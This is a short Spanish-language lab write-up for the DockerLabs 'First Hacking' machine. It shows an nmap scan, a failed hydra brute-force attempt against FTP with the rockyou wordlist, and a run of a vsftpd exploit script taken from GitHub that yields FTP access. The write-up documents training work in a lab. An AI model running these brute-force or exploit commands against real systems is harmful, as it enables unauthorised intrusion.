> For the complete documentation index, see [llms.txt](https://mis-apuntes-1.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mis-apuntes-1.gitbook.io/pentesting/dockerlabs/muy-facil/first-hacking.md).

# First Hacking

### 1. Reconocimiento (Enumeración)

Realizamos un escaneo inicial con `nmap` para identificar servicios expuestos:

Bash

```
nmap -sCV -p- 172.18.0.2 -oN targeted -Pn
```

> Nota: Se utiliza el flag `-Pn` para evitar la restricción de ICMP (ping) y asegurar que el escaneo detecte el host.

Resultado:

* Puerto 21/TCP: Servicio `vsftpd` detectado.

***

### 2. Intrusión (Explotación)

#### Intento de Fuerza Bruta

Se intentó acceder mediante fuerza bruta utilizando `hydra` para comprobar si existían credenciales por defecto:

Bash

```
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://172.18.0.2
```

* Resultado: Sin éxito. No se encontraron credenciales válidas.

#### Explotación de Versión (vsftpd)

Al analizar la versión de `vsftpd` obtenida en el escaneo inicial, se identificó una vulnerabilidad conocida. Se procedió a buscar un exploit en GitHub:

Bash

```
python3 exploit_vsftpd.py --target 172.18.0.2
```

***

### 3. Acceso al Sistema

Tras ejecutar el exploit, se logró obtener acceso al servidor FTP de manera satisfactoria.

Bash

```
ftp> ls
-rw-r--r--    1 0        0            1234 May 17 12:00 secret
```


---

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